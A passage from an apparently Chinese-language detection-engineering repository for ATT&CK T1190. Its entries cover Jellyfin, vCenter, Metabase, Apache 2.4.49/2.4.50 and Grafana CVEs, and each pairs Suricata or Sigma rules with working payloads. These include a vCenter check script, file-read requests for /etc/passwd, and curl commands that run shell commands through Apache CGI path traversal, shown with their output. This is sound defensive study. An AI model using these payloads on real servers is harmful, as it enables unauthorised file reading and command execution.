"InternalId" INTEGER NOT NULL,
"SyncPlayAccess" INTEGER NOT NULL,
"RowVersion" INTEGER NOT NULL
))...=...indexsqlite_autoindex_Users_1Users.P...++.Ytablesqlite_sequencesqlite_sequence.CREATE TABLE sqlite_sequence(name,seq).)...%%...tableActivityLogsActivityLogs.CREATE TABLE "ActivityLogs" (
"Id" INTEGER NOT NULL CONSTRAINT "PK_ActivityLogs" PRIMARY KEY AUTOINCREMENT,
"Name" TEXT NOT NULL,
"Overview" TEXT NULL,
"ShortOverview" TEXT NULL,
"Type" TEXT NOT NULL,
"UserId" TEXT NOT NULL,
"ItemId" TEXT NULL,
"DateCreated" TEXT NOT NULL,
"LogSeverity" INTEGER NOT NULL,
"RowVersion" INTEGER NOT NULL
).X...77..Otable__EFMigrationsHistory__EFMigrationsHistory.CREATE TABLE "__EFMigrationsHistory" (
"MigrationId" TEXT NOT NULL CONSTRAINT "PK___EFMigrationsHistory" PRIMARY KEY,
"ProductVersion" TEXT NOT NULL
)I...]7..indexsqlite_autoindex___EFMigrationsHistory_1__EFMigrationsHistor
......
```
## 检测规则/思路
### Suricata规则
```
s
alert http any any -> any any (msg:"CVE-2021-21402-Jellyfin任意文件读取";flow:established,to_server;content:"GET";http_method;content:"/Audio/";pcre:"/hls/";pcre:"/stream/";http_uri;reference:url,www.cnblogs.com/0day-li/p/14637768.html;classtype:web-application-attck;sid:3002021;rev:1;)
```
### 建议
流量+安全设备比较容易检测到此攻击行为。
## 参考推荐
MITRE-ATT&CK-T1190
<https://attack.mitre.org/techniques/T1190/>
Jellyfin任意文件读取漏洞(CVE-2021-21402)
<https://www.cnblogs.com/0day-li/p/14637768.html>
================================================
FILE: Web/2021/T1190-CVE-2021-21972 Vmware vcenter未授权任意文件读取:RCE漏洞.md
================================================
# T1190-CVE-2021-21972 Vmware vcenter未授权任意文件/RCE漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
2021年02月24日,某些平台监测到 Vmware官方发布了vCenter Server安全更新,修复了vSphereClient (HTML5)在vCenter Server插件vRealizeOperations(vROps)中的一个远程代码执行漏洞(CVE-2021-21972)。VMware vCenter Server是美国威睿(VMware)公司的一套服务器和虚拟化管理软件。该软件提供了一个用于管理VMware vCenter环境的集中式平台,可自动实施和交付虚拟基础架构。攻击者可通过访问web管理端向vCenter Server发送请求从而在操作系统上执行任意命令或者上传一个webshell到vcenter服务器的任意位置执行
具有网络访问端口443的恶意行为者可能会利用此问题在托管vCenter Server的基础操作系统上以不受限制的特权执行命令。这会影响VMware vCenter Server(7.0 U1c之前的7.x,6.7 U3l之前的6.7和6.5 U3n之前的6.5)和VMware Cloud Foundation(4.2.3之前的4.x和3.10.1.2之前的3.x)。
此外,VMware还修复了VMware ESXi中一个重要的堆溢出漏洞(CVE-2021-21974)与VMware vSphere中的一个SSRF漏洞(CVE-2021-21973)。
### 0x1 影响版本
```
yml
VMware vCenter Server 7.0系列 < 7.0.U1c
VMware vCenter Server 6.7系列 < 6.7.U3l
VMware vCenter Server 6.5系列 < 6.5 U3n
VMware ESXi 7.0系列 < ESXi70U1c-17325551
VMware ESXi 6.7系列 < ESXi670-202102401-SG
VMware ESXi 6.5系列 < ESXi650-202102101-SG
```
### 0x2 漏洞详情
可参考:
CVE-2021-21972 Vmware vcenter未授权任意文件/RCE漏洞:<https://blog.csdn.net/weixin_43650289/article/details/114055417>
CVE-2021-21972 vCenter 远程命令执行漏洞分析:<https://cert.360.cn/report/detail?id=62aac9b181bcfcb2b5faf33c6907a3dc>
CVE-2021-21972-vCenter-6.5-7.0-RCE-POC:<https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC/blob/main/CVE-2021-21972.py>
## 检测日志
HTTP.log,主要是基于POC报文进行检测,POC如下:
```
python
import requests
from requests.packages import urllib3
urllib3.disable_warnings()
import argparse
import os
def url():
parser = argparse.ArgumentParser(description='vCenter 6.5-7.0 RCE 漏洞复现(CVE-2021-21972)POC')
parser.add_argument('target_url',type=str,help='The target address,example: https://192.168.140.153:4445')
args = parser.parse_args()
global url
url = args.target_url
if url.startswith('http://') or url.startswith('https://'):
pass
else:
print('[-]Please include http:// or https:// in the URL!!')
os._exit(0)
if url.endswith('/'):
url = url[:-1]
print('[+]author:chenchen')
print("[-]目标地址:",url)
print("[-]正在执行漏洞检测...")
return url
def poc():
headers={
'User-Agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Mobile Safari/537.36',
"Content-Type":"application/x-www-form-urlencoded"
}
url_v = url + '/ui/vropspluginui/rest/services/updateova'
try:
code = requests.get(url=url_v,headers=headers,timeout=4,verify=False).status_code
print('status_code:',code)
if code == 405:
print('[+]漏洞存在')
else:
print('[-]漏洞不存在')
except:
print('[-]发生错误')
if __name__ == '__main__':
url()
poc()
```
## 测试复现
可参考漏洞详情部分
## 检测规则/思路
### sigma规则
```
yml
title: CVE-2021-21972 Vmware vcenter未授权任意文件/RCE漏洞
status: 测试状态
description: 基于HTTP日志进行检测
references:
- https://cert.360.cn/report/detail?id=62aac9b181bcfcb2b5faf33c6907a3dc
- https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC/blob/main/CVE-2021-21972.py
logsource:
category: webserver #http_log
detection:
selection:
cs-method: 'POST' #请求方法为post
c-uri: #请求url中包含以下路径
- '/ui/vropspluginui/rest/services/uploadova'
condition: selection
fields:
- c-ip
- c-dns
falsepositives:
- OVA uploads to your VSphere appliance
level: high
```
### 建议
建议使用HTTP流量+安全设备(如天眼等)进行检测分析判断攻击是否成功。
## 参考推荐
MITRE-ATT&CK-T1190
<https://attack.mitre.org/techniques/T1190/>
CVE-2021-21972 Vmware vcenter未授权任意文件/RCE漏洞
<https://blog.csdn.net/weixin_43650289/article/details/114055417>
CVE-2021-21972 vCenter远程命令执行漏洞分析
<https://cert.360.cn/report/detail?id=62aac9b181bcfcb2b5faf33c6907a3dc>
CVE-2021-21972-vCenter-6.5-7.0-RCE-POC
<https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC/blob/main/CVE-2021-21972.py>
================================================
FILE: Web/2021/T1190-CVE-2021-41277-Metabase 敏感信息泄露漏洞.md
================================================
# T1190-CVE-2021-41277-Metabase敏感信息泄露漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## Metabase敏感信息泄露漏洞(CVE-2021-41277)
metabase是一个简单、开源的数据分析平台。
在受影响的版本中,自定义GeoJSON地图(admin->settings->maps->custom maps->add a map)操作缺少权限验证,攻击者可通过该漏洞获得敏感信息。
### 影响版本
影响版本:
```
yml
metabase version < 0.40.5
metabase version >= 1.0.0, < 1.40.5
```
FOFA查询语句:app="metabase"
### 测试案例
POC:/api/geojson?url=file:/etc/passwd
### 检测日志
HTTP.log
### 测试复现
```
yml
GET /api/geojson?url=file:/etc/passwd HTTP/1.1
Host: *.*.*.*:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Fri, 26 Nov 2021 12:34:30 GMT
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Last-Modified: Fri, 26 Nov 2021 20:34:30 +0800
Strict-Transport-Security: max-age=31536000
Set-Cookie: metabase.DEVICE=dd8c913f-87fb-483f-9e65-623657a0ca5a;HttpOnly;Path=/;SameSite=Lax;Expires=Sun, 17 Nov 2041 12:06:40 +0800
X-Permitted-Cross-Domain-Policies: none
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate
X-Content-Type-Options: nosniff
Content-Security-Policy: default-src 'none'; script-src 'self' 'unsafe-eval' https://maps.google.com https://apis.google.com https://www.google-analytics.com https://*.googleapis.com *.gstatic.com 'sha256-lMAh4yjVuDkQ9NqkK4H+YHUga+anpFs5JAuj/uZh0Rs=' 'sha256-sMNbXyc1lLzhHbH/CKs11HIQMnMkZAN2eA99WhJeEC0=' 'sha256-JJa56hyDfUbgNfq+0nq6Qs866JKgZ/+qCq2pkDJED8k='; child-src 'self' https://accounts.google.com; style-src 'self' 'unsafe-inline'; font-src 'self' ; img-src * 'self' data:; connect-src 'self' metabase.us10.list-manage.com ; manifest-src 'self'; frame-ancestors 'none';
Content-Type: application/json
Content-Encoding: gzip
Expires: Tue, 03 Jul 2001 06:00:00 GMT
Transfer-Encoding: chunked
Server: Jetty(9.4.32.v20200930)
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-bus-proxy:x:999:998:systemd Bus Proxy:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:998:997:User for polkitd:/:/sbin/nologin
tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:997:995::/var/lib/chrony:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
ops:x:1000:1000::/home/ops:/bin/bash
service:x:1001:1001::/home/service:/bin/bash
zabbix:x:1002:1002::/home/zabbix:/sbin/nologin
grafana:x:996:994:grafana user:/usr/share/grafana:/sbin/nologin
mysql:x:995:1003::/usr/local/mysql:/sbin/nologin
saslauth:x:994:76:Saslauthd user:/run/saslauthd:/sbin/nologin
metabase:x:1003:1004::/home/metabase:/bin/bash
redis:x:993:991:Redis Database Server:/var/lib/redis:/sbin/nologin
nginx:x:992:990:Nginx web server:/var/lib/nginx:/sbin/nologin
openvpn:x:991:989:OpenVPN:/etc/openvpn:/sbin/nologin
```
### 检测规则/思路
Suricata规则
```
s
alert http any any -> any any (msg:"CVE-2021-41277-rsq";flow:established,to_server;content:"GET";http_method;content:"/api/geojson?url=file:/etc/passwd";http_uri;reference:url,github.com/Seals6/CVE-2021-41277;flowbits:set,first_rsq;noalert;classtype:web-application-attck;sid:1;rev:1;)
alert http any any -> any any (msg:"CVE-2021-41277-Metabase敏感信息泄露漏洞";flow:established,to_client;content:"200";http_stat_code;content:"/bin/bash";http_server_body;flowbits:isset,first_rsq;sid:2;rev:1;)
```
## 备注
本案例仅做防御检测研究,请勿用于非法用途。
## 参考推荐
MITRE-ATT&CK-T1190
<https://attack.mitre.org/techniques/T1190/>
CVE-2021-41277-POC
<https://github.com/Seals6/CVE-2021-41277>
================================================
FILE: Web/2021/T1190-CVE-2021-41773-Apache HTTP Server 2.4.49 路径穿越漏洞.md
================================================
# T1190-CVE-2021-41773-Apache HTTP Server 2.4.49路径穿越漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。在其2.4.49版本中,引入了一个路径穿越漏洞,满足下面两个条件的Apache服务器将会受到影响:
版本等于2.4.49
穿越的目录允许被访问,比如配置了<Directory/>Require all granted</Directory>。(默认情况下是不允许的)
攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。
## 漏洞详情
使用如下CURL命令来发送Payload(注意其中的/icons/必须是一个存在且可访问的目录):
```
yml
curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
```
可见,成功读取到/etc/passwd:
```
yml
* Trying 10.211.55.10...
* TCP_NODELAY set
* Connected to 10.211.55.10 (10.211.55.10) port 8080 (#0)
> GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
> Host: 10.211.55.10:8080
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Sun, 10 Oct 2021 03:40:43 GMT
< Server: Apache/2.4.49 (Unix)
< Last-Modified: Mon, 27 Sep 2021 00:00:00 GMT
< ETag: "39e-5cceec7356000"
< Accept-Ranges: bytes
< Content-Length: 926
<
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
* Connection #0 to host 10.211.55.10 left intact
* Closing connection 0
```
在服务端开启了cgi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令:
```
yml
curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
```
```
yml
* Trying 10.211.55.10...
* TCP_NODELAY set
* Connected to 10.211.55.10 (10.211.55.10) port 8080 (#0)
> POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
> Host: 10.211.55.10:8080
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Length: 7
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 7 out of 7 bytes
< HTTP/1.1 200 OK
< Date: Sun, 10 Oct 2021 03:45:29 GMT
< Server: Apache/2.4.49 (Unix)
< Transfer-Encoding: chunked
<
uid=1(daemon) gid=1(daemon) groups=1(daemon)
* Connection #0 to host 10.211.55.10 left intact
* Closing connection 0
```
## 检测日志
HTTP.log
```
http.log
GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: 10.211.55.10:8080
User-Agent: curl/7.64.1
Accept: */*
HTTP/1.1 200 OK
Date: Sun, 10 Oct 2021 03:36:46 GMT
Server: Apache/2.4.49 (Unix)
Last-Modified: Mon, 27 Sep 2021 00:00:00 GMT
ETag: "39e-5cceec7356000"
Accept-Ranges: bytes
Content-Length: 926
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
```
```
http.log
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 10.211.55.10:8080
User-Agent: curl/7.64.1
Accept: */*
Content-Length: 7
Content-Type: application/x-www-form-urlencoded
echo;idHTTP/1.1 200 OK
Date: Sun, 10 Oct 2021 03:36:51 GMT
Server: Apache/2.4.49 (Unix)
Transfer-Encoding: chunked
2d
uid=1(daemon) gid=1(daemon) groups=1(daemon)
0
```
## 测试复现
可参考漏洞详情部分
## 检测规则/思路
### sigma规则
```
yml
title: CVE-2021-41773-Apache HTTP Server 2.4.49路径穿越漏洞
status: 测试状态
description: 基于HTTP日志进行检测
references:
- https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-41773/README.zh-cn.md
- https://www.t00ls.cc/viewthread.php?tid=62967&highlight=CVE-2021-41773
detection:
selection1:
cs-method: 'POST' #请求方法为POST
c-uri: #请求url中包含以下路径
- '.%2e/.%2e/.%2e/.%2e'
selection2:
cs-method: 'GET' #请求方法为GET
c-uri: '.%2e/%2e%2e/%2e%2e/%2e%2e/'
condition: selection
fields:
- c-ip
- c-dns
falsepositives:
- 观察返回状态码是否为200 OK。
level: high
```
### 建议
建议使用HTTP流量+安全设备(如天眼等)进行检测分析判断攻击是否成功。
## 参考推荐
MITRE-ATT&CK-T1190
<https://attack.mitre.org/techniques/T1190/>
CVE-2021-41773 Apache漏洞分析及RCE思路
<https://www.t00ls.cc/viewthread.php?tid=62967&highlight=CVE-2021-41773>
Apache HTTP Server 2.4.49 路径穿越漏洞(CVE-2021-41773)
<https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-41773/README.zh-cn.md>
================================================
FILE: Web/2021/T1190-CVE-2021-42013-Apache HTTP Server 2.4.50 路径穿越漏洞.md
================================================
# T1190-CVE-2021-42013-Apache HTTP Server 2.4.50路径穿越漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。Apache官方在2.4.50版本中对2.4.49版本中出现的目录穿越漏洞CVE-2021-41773进行了修复,但这个修复是不完整的,CVE-2021-42013是对补丁的绕过。
攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。
这个漏洞可以影响Apache HTTP Server 2.4.49以及2.4.50两个版本。
## 漏洞详情
使用CVE-2021-41773中的Payload已经无法成功利用漏洞了,说明2.4.50进行了修复。
但我们可以使用.%%32%65进行绕过(注意其中的/icons/必须是一个存在且可访问的目录):
```
yml
curl -v --path-as-is http://your-ip:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
```
可见,成功读取到/etc/passwd:
```
yml
curl -v --path-as-is http://10.211.55.10:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
* Trying 10.211.55.10...
* TCP_NODELAY set
* Connected to 10.211.55.10 (10.211.55.10) port 8080 (#0)
> GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1
> Host: 10.211.55.10:8080
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Sun, 10 Oct 2021 05:33:12 GMT
< Server: Apache/2.4.50 (Unix)
< Last-Modified: Mon, 27 Sep 2021 00:00:00 GMT
< ETag: "39e-5cceec7356000"
< Accept-Ranges: bytes
< Content-Length: 926
<
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
* Connection #0 to host 10.211.55.10 left intact
* Closing connection 0
```
在服务端开启了cgi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令:
```
yml
curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
```
```
yml
curl -v --data "echo;id" 'http://10.211.55.10:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
* Trying 10.211.55.10...
* TCP_NODELAY set
* Connected to 10.211.55.10 (10.211.55.10) port 8080 (#0)
> POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
> Host: 10.211.55.10:8080
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Length: 7
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 7 out of 7 bytes
< HTTP/1.1 200 OK
< Date: Sun, 10 Oct 2021 05:34:09 GMT
< Server: Apache/2.4.50 (Unix)
< Transfer-Encoding: chunked
<
uid=1(daemon) gid=1(daemon) groups=1(daemon)
* Connection #0 to host 10.211.55.10 left intact
* Closing connection 0
```
## 检测日志
HTTP.log
```
http.log
GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1
Host: 10.211.55.10:8080
User-Agent: curl/7.64.1
Accept: */*
HTTP/1.1 200 OK
Date: Sun, 10 Oct 2021 05:39:09 GMT
Server: Apache/2.4.50 (Unix)
Last-Modified: Mon, 27 Sep 2021 00:00:00 GMT
ETag: "39e-5cceec7356000"
Accept-Ranges: bytes
Content-Length: 926
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
```
```
http.log
POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: 10.211.55.10:8080
User-Agent: curl/7.64.1
Accept: */*
Content-Length: 7
Content-Type: application/x-www-form-urlencoded
echo;idHTTP/1.1 200 OK
Date: Sun, 10 Oct 2021 05:39:11 GMT
Server: Apache/2.4.50 (Unix)
Transfer-Encoding: chunked
2d
uid=1(daemon) gid=1(daemon) groups=1(daemon)
0
```
## 测试复现
可参考漏洞详情部分
## 检测规则/思路
### sigma规则
```
yml
title: CVE-2021-42013-Apache HTTP Server 2.4.50路径穿越漏洞
status: 测试状态
description: 基于HTTP日志进行检测
references:
- https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-42013/README.zh-cn.md
detection:
selection:
cs-method:
- 'GET' #请求方法为GET
- 'POST' #请求方法为POST
c-uri: '.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65'
condition: selection
fields:
- c-ip
- c-dns
falsepositives:
- 观察返回状态码是否为200 OK。
level: high
```
也可以根据自己实际需求,编写suricata规则。
流量包下载位置:<https://pan.baidu.com/s/1m-rysxGIeMVfZNIBuaRa2Q>
提取码:0wff
### 建议
建议使用HTTP流量+安全设备(如天眼等)进行检测分析判断攻击是否成功。
## 参考推荐
MITRE-ATT&CK-T1190
<https://attack.mitre.org/techniques/T1190/>
Apache HTTP Server 2.4.50 路径穿越漏洞(CVE-2021-42013)
<https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-42013/README.zh-cn.md>
================================================
FILE: Web/2021/T1190-CVE-2021-43798-Grafana任意文件读取漏洞.md
================================================
# T1190-CVE-2021-43798 Grafana 任意文件读取漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
Grafana是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后,Grafana可以在网络浏览器里显示数据图表和警告。Grafana 存在未授权任意文件读取漏洞,攻击者在未经身份验证的情况下可通过该漏洞读取主机上的任意文件。
影响范围:Grafana 8.0.0-beta1 to 8.3.0
FOFa查询语句:app="Grafana"
## 检测日志
HTTP.log
## 测试复现
漏洞利用方式建议参考:Grafana未授权任意文件读取漏洞
